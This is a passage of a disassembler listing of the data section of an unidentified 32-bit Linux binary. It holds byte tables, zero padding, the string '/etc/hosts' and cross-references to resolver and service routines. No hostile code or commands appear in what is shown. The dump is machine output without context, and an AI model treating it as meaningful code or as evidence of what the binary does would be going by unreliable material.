; & db 8 ; db 5Fh ; _ db 2 ; db 26h ; & db 8 ; db 60h ; ` db 2 ; db 26h ; & db 9 ; db 72h ; r db 2 ; db 26h ; & db 9 ; db 73h ; s db 2 ; db 26h ; & db 9 ; db 74h ; t db 2 ; db 26h ; & db 9 ; db 87h ; db 2 ; db 26h ; & db 9 ; db 88h ; db 2 ; db 26h ; & db 9 ; db 89h ; db 2 ; db 4 ; db 1 ; db 10h ; db 4 ; db 4 ; db 11h ; db 0B8h ; db 4 ; db 4 ; db 12h ; db 0Bh ; db 2 ; db 4 ; db 12h ; db 0Bh ; db 3 ; db 4 ; db 12h ; db 87h ; db 8 ; db 4 ; db 12h ; db 8Ch ; db 45h ; E db 4 ; db 12h ; db 94h ; db 2 ; db 4 ; db 12h ; db 94h ; db 3 ; db 4 ; db 12h ; db 0A6h ; db 0A5h ; db 4 ; db 2 ; db 23h ; # db 8 ; db 4 ; db 2 ; db 31h ; 1 db 2 ; db 4 ; db 2 ; db 31h ; 1 db 3 ; db 4 ; db 2 ; db 31h ; 1 db 4 ; db 4 ; db 15h ; db 0ADh ; db 22h ; " db 4 ; db 15h ; db 0ADh ; db 5 ; db 4 ; db 15h ; db 0CCh ; db 1Eh ; db 28h ; ( db 21h ; ! db 1 ; db 1 ; db 34h ; 4 db 80h ; db 1Eh ; db 3 ; db 35h ; 5 db 7Ah ; z db 1 ; db 0Ah ; db 35h ; 5 db 7Ah ; z db 2 ; db 0Ah ; db 35h ; 5 db 8Ch ; db 7Dh ; } db 41h ; A db 35h ; 5 db 8Ch ; db 7Dh ; } db 42h ; B db 37h ; 7 db 0C0h ; db 16h ; db 87h ; db 38h ; 8 db 0 ; db 48h ; H db 0Bh ; db 38h ; 8 db 0 ; db 60h ; ` db 0Bh ; db 39h ; 9 db 0 ; db 2 ; db 2 ; db 39h ; 9 db 0 ; db 3 ; db 2 ; db 39h ; 9 db 0Ch ; db 13h ; db 0C2h ; db 39h ; 9 db 0Ch ; db 13h ; db 0C3h ; db 39h ; 9 db 42h ; B db 7Fh ;  db 0C2h ; db 39h ; 9 db 44h ; D db 7Fh ;  db 0C2h ; db 39h ; 9 db 46h ; F db 7Fh ;  db 0C2h ; db 3Dh ; = db 0 ; db 0 ; db 5 ; db 3Dh ; = db 0 ; db 0 ; db 9 ; db 3Dh ; = db 75h ; u db 0CFh ; db 2 ; db 3Dh ; = db 75h ; u db 0CFh ; db 3 ; db 3Dh ; = db 78h ; x db 70h ; p db 2 ; db 3Dh ; = db 78h ; x db 97h ; db 64h ; d db 3Dh ; = db 79h ; y db 0D6h ; db 76h ; v db 3Dh ; = db 7Ah ; z db 80h ; db 92h ; db 3Dh ; = db 7Ah ; z db 80h ; db 2 ; db 3Dh ; = db 0C2h ; db 0 ; db 0BAh ; db 3Dh ; = db 0C2h ; db 0 ; db 0D4h ; db 3Dh ; = db 0C2h ; db 0Fh ; db 22h ; " db 3Dh ; = db 0C2h ; db 2 ; db 0FCh ; db 3Dh ; = db 0C2h ; db 0F8h ; db 0E1h ; db 3Dh ; = db 0C8h ; db 3Ah ; : db 0E2h ; db 3Dh ; = db 0CAh ; db 8Ch ; db 3 ; db 3Dh ; = db 0CCh ; db 0D5h ; db 1 ; db 3Dh ; = db 0CDh ; db 40h ; @ db 5 ; db 3Dh ; = db 0CDh ; db 40h ; @ db 6 ; db 3Dh ; = db 0D0h ; db 96h ; db 22h ; " db 3Dh ; = db 0D0h ; db 0BDh ; db 0EAh ; db 3Dh ; = db 0D0h ; db 0D1h ; db 0F2h ; db 3Dh ; = db 0D5h ; db 0BDh ; db 0D6h ; db 3Dh ; = db 0DAh ; db 60h ; ` db 9Ah ; db 3Dh ; = db 0DCh ; db 9Fh ; db 3 ; db 3Dh ; = db 0DCh ; db 9Fh ; db 4 ; db 3Dh ; = db 0DCh ; db 0C5h ; db 0B2h ; db 3Dh ; = db 0DEh ; db 1Eh ; db 64h ; d db 3Dh ; = db 24h ; $ db 0FCh ; db 1 ; db 3Dh ; = db 4Eh ; N db 83h ; db 1Eh ; db 3Dh ; = db 9 ; db 80h ; db 0Dh ; db 3Dh ; = db 9 ; db 80h ; db 10h ; db 3Dh ; = db 9 ; db 80h ; db 28h ; ( db 3Dh ; = db 9 ; db 0C0h ; db 0Dh ; db 3Eh ; > db 1 ; db 1 ; db 3Eh ; > db 3Eh ; > db 1 ; db 1 ; db 5Ch ; \ db 3Eh ; > db 68h ; h db 40h ; @ db 14h ; db 3Eh ; > db 6Ch ; l db 1 ; db 41h ; A db 3Eh ; > db 6Ch ; l db 1 ; db 42h ; B db 3Eh ; > db 0Ch ; db 1Ah ; db 1 ; db 3Eh ; > db 80h ; db 1 ; db 2Ah ; * db 3Eh ; > db 80h ; db 1 ; db 35h ; 5 db 3Eh ; > db 0Eh ; db 2 ; db 1 ; db 3Eh ; > db 0A1h ; db 0E8h ; db 22h ; " db 3Eh ; > db 0A8h ; db 60h ; ` db 4 ; db 3Eh ; > db 0B6h ; db 89h ; db 1Dh ; db 3Eh ; > db 0B6h ; db 89h ; db 1Eh ; db 3Eh ; > db 2 ; db 20h ; db 0FAh ; db 3Eh ; > db 2 ; db 20h ; db 5 ; db 3Eh ; > db 0CCh ; db 1 ; db 1 ; db 3Eh ; > db 17h ; db 0A3h ; db 47h ; G db 3Eh ; > db 17h ; db 0A3h ; db 48h ; H db 3Eh ; > db 0E8h ; db 50h ; P db 24h ; $ db 3Eh ; > db 18h ; db 7 ; db 0Dh ; db 3Eh ; > db 0F5h ; db 86h ; db 94h ; db 3Eh ; > db 0FAh ; db 2 ; db 2 ; db 3Eh ; > db 24h ; $ db 0DCh ; db 4Bh ; K db 3Eh ; > db 51h ; Q db 0 ; db 1 ; db 3Eh ; > db 51h ; Q db 10h ; db 0C5h ; db 3Eh ; > db 5Eh ; ^ db 0 ; db 1 ; db 3Eh ; > db 5Eh ; ^ db 0 ; db 2 ; db 3Eh ; > db 60h ; ` db 80h ; db 42h ; B db 3Fh ; ? db 64h ; d db 2Ah ; * db 0FAh ; db 3Fh ; ? db 69h ; i db 25h ; % db 14h ; db 3Fh ; ? db 6Ah ; j db 85h ; db 0F8h ; db 3Fh ; ? db 6Ah ; j db 99h ; db 0Ch ; db 3Fh ; ? db 6Ch ; l db 88h ; db 6 ; db 3Fh ; ? db 72h ; r db 58h ; X db 6 ; db 3Fh ; ? db 79h ; y db 29h ; ) db 2 ; db 3Fh ; ? db 88h ; db 69h ; i db 8Ah ; db 3Fh ; ? db 8Ch ; db 0 ; db 9 ; db 3Fh ; ? db 8Ch ; db 0F0h ; db 0FEh ; db 3Fh ; ? db 91h ; db 0E9h ; db 33h ; 3 db 3Fh ; ? db 91h ; db 0ECh ; db 51h ; Q db 3Fh ; ? db 92h ; db 2Dh ; - db 0Ah ; db 3Fh ; ? db 92h ; db 2Dh ; - db 2 ; db 3Fh ; ? db 92h ; db 2Eh ; . db 2 ; db 3Fh ; ? db 94h ; db 7Bh ; { db 0Fh ; db 3Fh ; ? db 95h ; db 25h ; % db 0E2h ; db 3Fh ; ? db 95h ; db 36h ; 6 db 24h ; $ db 3Fh ; ? db 0A0h ; db 18h ; db 85h ; db 3Fh ; ? db 0A2h ; db 39h ; 9 db 1Fh ; db 3Fh ; ? db 0A4h ; db 20h ; db 2 ; db 3Fh ; ? db 0A4h ; db 20h ; db 6 ; db 3Fh ; ? db 0A5h ; db 20h ; db 2 ; db 3Fh ; ? db 0A5h ; db 6 ; db 3Ch ; < db 3Fh ; ? db 0A5h ; db 6 ; db 3Dh ; = db 3Fh ; ? db 0A5h ; db 6 ; db 3Eh ; > db 3Fh ; ? db 0A7h ; db 8Eh ; db 0E6h ; db 3Fh ; ? db 0A7h ; db 2Dh ; - db 12h ; db 3Fh ; ? db 0A7h ; db 2Dh ; - db 1Ah ; db 3Fh ; ? db 0A8h ; db 69h ; i db 0F0h ; db 3Fh ; ? db 0A8h ; db 7 ; db 5 ; db 3Fh ; ? db 0A9h ; db 1Ch ; db 2 ; db 3Fh ; ? db 0A9h ; db 26h ; & db 3Eh ; > db 3Fh ; ? db 0ABh ; db 6Bh ; k db 0B4h ; db 3Fh ; ? db 0ABh ; db 6Bh ; k db 0B5h ; db 3Fh ; ? db 0ACh ; db 3Ch ; < db 0F0h ; db 3Fh ; ? db 0ADh ; db 0BEh ; db 4 ; db 3Fh ; ? db 0ADh ; db 0BEh ; db 5 ; db 3Fh ; ? db 0ADh ; db 0E2h ; db 5 ; db 3Fh ; ? db 0AEh ; db 3Bh ; ; db 2 ; db 3Fh ; ? db 0C2h ; db 8Ch ; db 16h ; db 3Fh ; ? db 0D2h ; db 0A1h ; db 5 ; db 3Fh ; ? db 0D2h ; db 0F3h ; db 0Ah ; db 3Fh ; ? db 0D2h ; db 0F3h ; db 0Bh ; db 3Fh ; ? db 0D2h ; db 0F4h ; db 0Bh ; db 3Fh ; ? db 0D3h ; db 29h ; ) db 0C4h ; db 3Fh ; ? db 0D3h ; db 29h ; ) db 0C6h ; db 3Fh ; ? db 0D3h ; db 56h ; V db 1 ; db 3Fh ; ? db 0D3h ; db 56h ; V db 2 ; db 3Fh ; ? db 0D8h ; db 70h ; p db 42h ; B db 3Fh ; ? db 0FAh ; db 1 ; db 8 ; db 3Fh ; ? db 0FAh ; db 40h ; @ db 3 ; db 3Fh ; ? db 0FAh ; db 40h ; @ db 4 ; db 3Fh ; ? db 41h ; A db 48h ; H db 14h ; db 3Fh ; ? db 41h ; A db 48h ; H db 1Eh ; db 3Fh ; ? db 46h ; F db 0F3h ; db 0EFh ; db 3Fh ; ? db 47h ; G db 0BEh ; db 0Ah ; db 3Fh ; ? db 47h ; G db 0BEh ; db 0Fh ; db 3Fh ; ? db 47h ; G db 0E4h ; db 46h ; F db 3Fh ; ? db 47h ; G db 52h ; R db 0FAh ; db 3Fh ; ? db 47h ; G db 52h ; R db 0FCh ; db 3Fh ; ? db 49h ; I db 83h ; db 0Dh ; db 3Fh ; ? db 49h ; I db 83h ; db 0Eh ; db 3Fh ; ? db 49h ; I db 0A0h ; db 82h ; db 3Fh ; ? db 49h ; I db 0A0h ; db 2 ; db 3Fh ; ? db 50h ; P db 4Ch ; L db 84h ; db 3Fh ; ? db 52h ; R db 0C4h ; db 20h ; db 3Fh ; ? db 53h ; S db 0E1h ; db 0FBh ; db 3Fh ; ? db 58h ; X db 0CFh ; db 42h ; B db 40h ; @ db 68h ; h db 2Fh ; / db 1 ; db 40h ; @ db 0Ch ; db 2Eh ; . db 1 ; db 40h ; @ db 0Fh ; db 0ABh ; db 51h ; Q db 40h ; @ db 9Dh ; db 88h ; db 2 ; db 40h ; @ db 0A2h ; db 16h ; db 0C4h ; db 40h ; @ db 11h ; db 0EAh ; db 2 ; db 40h ; @ db 13h ; db 4Ch ; L db 3 ; db 40h ; @ db 0C5h ; db 0FFh ; db 3Ah ; : db 40h ; @ db 0C5h ; db 0FFh ; db 42h ; B db 40h ; @ db 2 ; db 0F0h ; db 84h ; db 40h ; @ db 0D0h ; db 99h ; db 0Bh ; db 40h ; @ db 0D0h ; db 8 ; db 87h ; db 40h ; @ db 15h ; db 0C0h ; db 5 ; db 40h ; @ db 15h ; db 0C0h ; db 6 ; db 40h ; @ db 0D4h ; db 66h ; f db 0AAh ; db 40h ; @ db 0D5h ; db 0BEh ; db 87h ; db 40h ; @ db 0D6h ; db 0E1h ; db 10h ; db 40h ; @ db 0E0h ; db 14h ; db 84h ; db 40h ; @ db 0E0h ; db 14h ; db 85h ; db 40h ; @ db 0E0h ; db 14h ; db 86h ; db 40h ; @ db 0E8h ; db 0ACh ; db 0Ah ; db 40h ; @ db 0E8h ; db 0ACh ; db 0Bh ; db 40h ; @ db 0EFh ; db 84h ; db 0Bh ; db 40h ; @ db 0EFh ; db 39h ; 9 db 13h ; db 40h ; @ db 0EFh ; db 39h ; 9 db 20h ; db 40h ; @ db 0F2h ; db 4Dh ; M db 8Ch ; db 40h ; @ db 0F3h ; db 0E2h ; db 4 ; db 40h ; @ db 0F3h ; db 22h ; " db 0Ch ; db 40h ; @ db 0F3h ; db 22h ; " db 0Dh ; db 40h ; @ db 0F3h ; db 22h ; " db 2 ; db 40h ; @ db 0F5h ; db 14h ; db 0Eh ; db 40h ; @ db 0F5h ; db 19h ; db 82h ; db 40h ; @ db 0F5h ; db 2Bh ; + db 0Eh ; db 40h ; @ db 0FEh ; db 80h ; db 42h ; B db 40h ; @ db 0FEh ; db 61h ; a db 14h ; db 40h ; @ db 1Ah ; db 0 ; db 17h ; db 40h ; @ db 1Ah ; db 26h ; & db 2 ; db 40h ; @ db 1Ch ; db 0C1h ; db 2 ; db 40h ; @ db 1Eh ; db 8Bh ; db 2 ; db 40h ; @ db 1Eh ; db 0E2h ; db 0A8h ; db 40h ; @ db 1Eh ; db 0E2h ; db 0AAh ; db 40h ; @ db 28h ; ( db 0C0h ; db 0Ah ; db 40h ; @ db 28h ; ( db 0C0h ; db 0Ch ; db 40h ; @ db 29h ; ) db 0AEh ; db 2Dh ; - db 40h ; @ db 2Ah ; * db 11h ; db 96h ; db 40h ; @ db 2Eh ; . db 80h ; db 3 ; db 40h ; @ db 2Eh ; . db 80h ; db 4 ; db 40h ; @ db 31h ; 1 db 1 ; db 4 ; db 40h ; @ db 5 ; db 82h ; db 2 ; db 40h ; @ db 5 ; db 82h ; db 3 ; db 40h ; @ db 32h ; 2 db 80h ; db 0Ah ; db 40h ; @ db 32h ; 2 db 80h ; db 2 ; db 40h ; @ db 32h ; 2 db 80h ; db 6 ; db 40h ; @ db 6 ; db 2Dh ; - db 3 ; db 40h ; @ db 6 ; db 2Dh ; - db 5 ; db 40h ; @ db 3Dh ; = db 1 ; db 2 ; db 40h ; @ db 3Dh ; = db 1 ; db 3 ; db 40h ; @ db 41h ; A db 0C4h ; db 2 ; db 40h ; @ db 41h ; A db 0D0h ; db 2 ; db 40h ; @ db 41h ; A db 0DFh ; db 2 ; db 40h ; @ db 42h ; B db 0C0h ; db 14h ; db 40h ; @ db 42h ; B db 0C0h ; db 15h ; db 40h ; @ db 44h ; D db 88h ; db 1Ch ; db 40h ; @ db 45h ; E db 0A8h ; db 64h ; d db 40h ; @ db 45h ; E db 4 ; db 0Ah ; db 40h ; @ db 45h ; E db 4 ; db 0Bh ; db 40h ; @ db 45h ; E db 2Ch ; , db 8Ch ; db 40h ; @ db 45h ; E db 49h ; I db 4 ; db 40h ; @ db 50h ; P db 0C8h ; db 0FEh ; db 40h ; @ db 50h ; P db 0FFh ; db 0FAh ; db 40h ; @ db 50h ; P db 0FFh ; db 0FBh ; db 40h ; @ db 54h ; T db 3Eh ; > db 2 ; db 40h ; @ db 56h ; V db 0D6h ; db 0Ah ; db 40h ; @ db 56h ; V db 0D6h ; db 19h ; db 40h ; @ db 56h ; V db 0D6h ; db 1Ah ; db 40h ; @ db 59h ; Y db 0A0h ; db 0CDh ; db 40h ; @ db 5Eh ; ^ db 0C4h ; db 0Ch ; db 40h ; @ db 5Fh ; _ db 0Ch ; db 0A1h ; db 40h ; @ db 5Fh ; _ db 0Ch ; db 0A2h ; db 40h ; @ db 5Fh ; _ db 0Ch ; db 0B1h ; db 40h ; @ db 5Fh ; _ db 0Ch ; db 0B2h ; db 40h ; @ db 5Fh ; _ db 44h ; D db 0Ah ; db 40h ; @ db 5Fh ; _ db 45h ; E db 96h ; db 40h ; @ db 5Fh ; _ db 4Eh ; N db 6 ; db 41h ; A db 6Bh ; k db 19h ; db 6 ; db 41h ; A db 78h ; x db 0 ; db 0Ah ; db 41h ; A db 78h ; x db 0 ; db 2 ; db 41h ; A db 78h ; x db 30h ; 0 db 66h ; f db 41h ; A db 78h ; x db 30h ; 0 db 67h ; g db 41h ; A db 0A0h ; db 88h ; db 4 ; db 41h ; A db 0A0h ; db 0BEh ; db 3 ; db 41h ; A db 0A1h ; db 6Dh ; m db 32h ; 2 db 41h ; A db 0A1h ; db 73h ; s db 2 ; db 41h ; A db 0A1h ; db 0B1h ; db 2 ; db 41h ; A db 0A1h ; db 33h ; 3 db 1 ; db 41h ; A db 0A1h ; db 33h ; 3 db 7 ; db 41h ; A db 0A1h ; db 34h ; 4 db 22h ; " db 41h ; A db 0A2h ; db 0C0h ; db 3 ; db 41h ; A db 0A2h ; db 50h ; P db 0Fh ; db 41h ; A db 0A3h ; db 0A9h ; db 3 ; db 41h ; A db 0A4h ; db 28h ; ( db 1 ; db 41h ; A db 0AAh ; db 90h ; db 2 ; db 41h ; A db 0ABh ; db 10h ; db 3 ; db 41h ; A db 0ABh ; db 10h ; db 4 ; db 41h ; A db 0ACh ; db 84h ; db 0Fh ; db 41h ; A db 0AEh ; db 5Eh ; ^ db 2 ; db 41h ; A db 0C2h ; db 0FEh ; db 0FDh ; db 41h ; A db 0C2h ; db 0FEh ; db 0FEh ; db 41h ; A db 0C5h ; db 82h ; db 2 ; db 41h ; A db 0C6h ; db 97h ; db 3 ; db 41h ; A db 0C6h ; db 97h ; db 4 ; db 41h ; A db 0D1h ; db 56h ; V db 2 ; db 41h ; A db 0D6h ; db 54h ; T db 3 ; db 41h ; A db 0D6h ; db 54h ; T db 4 ; db 41h ; A db 0D7h ; db 0BFh ; db 0FEh ; db 41h ; A db 20h ; db 1 ; db 41h ; A db 41h ; A db 20h ; db 1 ; db 46h ; F db 41h ; A db 2Ah ; * db 0ECh ; db 2 ; db 41h ; A db 44h ; D db 0Dh ; db 1 ; db 42h ; B db 72h ; r db 0F8h ; db 1 ; db 42h ; B db 72h ; r db 0F8h ; db 2 ; db 42h ; B db 76h ; v db 8Ch ; db 5 ; db 42h ; B db 77h ; w db 0C8h ; db 1 ; db 42h ; B db 77h ; w db 0C9h ; db 0F8h ; db 42h ; B db 87h ; db 80h ; db 44h ; D db 42h ; B db 92h ; db 0 ; db 1 ; db 42h ; B db 0AAh ; db 40h ; @ db 1 ; db 42h ; B db 0AAh ; db 40h ; @ db 0Dh ; db 42h ; B db 0B2h ; db 98h ; db 0Ah ; db 42h ; B db 0BBh ; db 85h ; db 1Bh ; db 42h ; B db 0C4h ; db 0 ; db 1 ; db 42h ; B db 0C4h ; db 0 ; db 9 ; db 42h ; B db 1Ch ; db 8Ch ; db 8Ah ; db 42h ; B db 22h ; " db 39h ; 9 db 0F1h ; db 42h ; B db 26h ; & db 0D9h ; db 1Fh ; db 42h ; B db 26h ; & db 0D9h ; db 20h ; db 42h ; B db 2Bh ; + db 89h ; db 1Bh ; db 42h ; B db 2Eh ; . db 36h ; 6 db 23h ; # db 42h ; B db 2Eh ; . db 4Dh ; M db 42h ; B db 42h ; B db 7 ; db 0Fh ; db 8Fh ; db 42h ; B db 7 ; db 0Fh ; db 90h ; db 42h ; B db 4Dh ; M db 18h ; db 2Ah ; * db 42h ; B db 4Dh ; M db 1Ah ; db 9 ; db 42h ; B db 4Eh ; N db 3Ch ; < db 2 ; db 43h ; C db 61h ; a db 0D4h ; db 2 ; db 50h ; P db 51h ; Q db 0E0h ; db 82h ; db 50h ; P db 51h ; Q db 6 ; db 11h ; db 50h ; P db 51h ; Q db 7 ; db 3 ; db 50h ; P db 5Bh ; [ db 0C0h ; db 37h ; 7 db 50h ; P db 5Bh ; [ db 0C2h ; db 73h ; s db 0 ; db 0 ; db 0 ; db 0 ; dword_80784F4 dd 0 ; DATA XREF: setenv+13Cr setenv+145r ... dword_80784F8 dd 0 ; DATA XREF: init_services+E0Fw ; .text:0804BEB6r ... aEtcHosts db '/etc/hosts',0 ; DATA XREF: _setprotoent+11o ; _gethtent+13o align 4 dword_8078508 dd 0 ; DATA XREF: _setprotoent+3r ; _setprotoent+1Bw ... dword_807850C dd 0 ; DATA XREF: _setprotoent+32w ; sub_804C574+Cr dword_8078510 dd 0 ; DATA XREF: init_services+45Aw ; init_services+4A7w ... dword_8078514 dd 0 ; DATA XREF: init_services+59Ew ; init_services+5EBw ... dword_8078518 dd 0 ; DATA XREF: init_services+6E2w ; init_services+72Fw ... dword_807851C dd 0 ; DATA XREF: init_services+826w ; init_services+873w ... dword_8078520 dd 0 ; DATA XREF: sub_804A4F4+Br ; sub_804A4F4+78r ... dword_8078524 dd 0FFFFFFFFh ; DATA XREF: sub_804A5CC+Cr ; sub_804A5CC+23r ... dword_8078528 dd 1 ; DATA XREF: sub_804C9E4+60r ; sub_804C9E4+8Ew dword_807852C dd 0 ; DATA XREF: sub_804C9E4+Fr ; sub_804C9E4+18o ... dword_8078530 dd 0FFFFFFFFh ; DATA XREF: res_send+1C2r ; res_send+1D8r ... dword_8078534 dd 0 ; DATA XREF: res_send+4EFw ; res_send+517r ... dword_8078538 dd 0 ; DATA XREF: res_send+1CBr ; res_send+270w ... dword_807853C dd 0 ; DATA XREF: .text:0804E6DEw ; res_send+10Cr ... dword_8078540 dd 0 ; DATA XREF: .text:0804E6EEw ; res_send+9D2r ... dword_8078544 dd 0 ; DATA XREF: res_init+34r res_init+3Dw ... dword_8078548 dd 0 ; DATA XREF: res_init+47r res_init+50w ... dword_807854C dd 0 ; DATA XREF: init_services+1FCr ; init_services+AC6r ... dword_8078550 dd 0 ; DATA XREF: res_init+9Ew ; res_init+663w ... dword_8078554 dd 0 ; DATA XREF: res_init+8Cw ; res_init+43Aw ... dword_8078558 dd 0 ; DATA XREF: res_init+82w ; res_init+434w ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; word_8078584 dw 0 ; DATA XREF: res_init+6Dr res_init+7Cw ... align 4 dword_8078588 dd 0 ; DATA XREF: res_init+F2w ; res_init+322w ... dword_807858C dd 0 ; DATA XREF: res_init+FCo ; res_init+32Co ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_80785A0 db 0 ; ; DATA XREF: res_init+110o ; res_init+33Co db 0 ; db 0 ; db 0 ; byte_80785A4 db 0 ; DATA XREF: res_init+DDo res_init+EDo ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_80786A4 dd 0 ; DATA XREF: res_init+B6w ; res_send+8FAr ... byte_80786A8 db 0 ; DATA XREF: sub_804B800+635r ; sub_804CBE4+33r ... align 4 unk_80786AC db 0 ; ; DATA XREF: sub_804CBE4+5Fr ; sub_804CBE4+CBr ... db 0 ; db 0 ; db 0 ; unk_80786B0 db 0 ; ; DATA XREF: sub_804CBE4+59r ; sub_804CBE4+C5r ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_80786FC db 88h ; ; DATA XREF: _IO_fclose+58o db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; unk_8078750 db 84h ; ; DATA XREF: res_send+4Co res_send+56o ... db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0FCh ; db 86h ; db 7 ; db 8 ; db 1 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; unk_80787A4 db 86h ; ; DATA XREF: init_services+2B2o ; init_services+2D8o ... db 20h ; db 0ADh ; db 0FBh ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 50h ; P db 87h ; db 7 ; db 8 ; db 2 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; 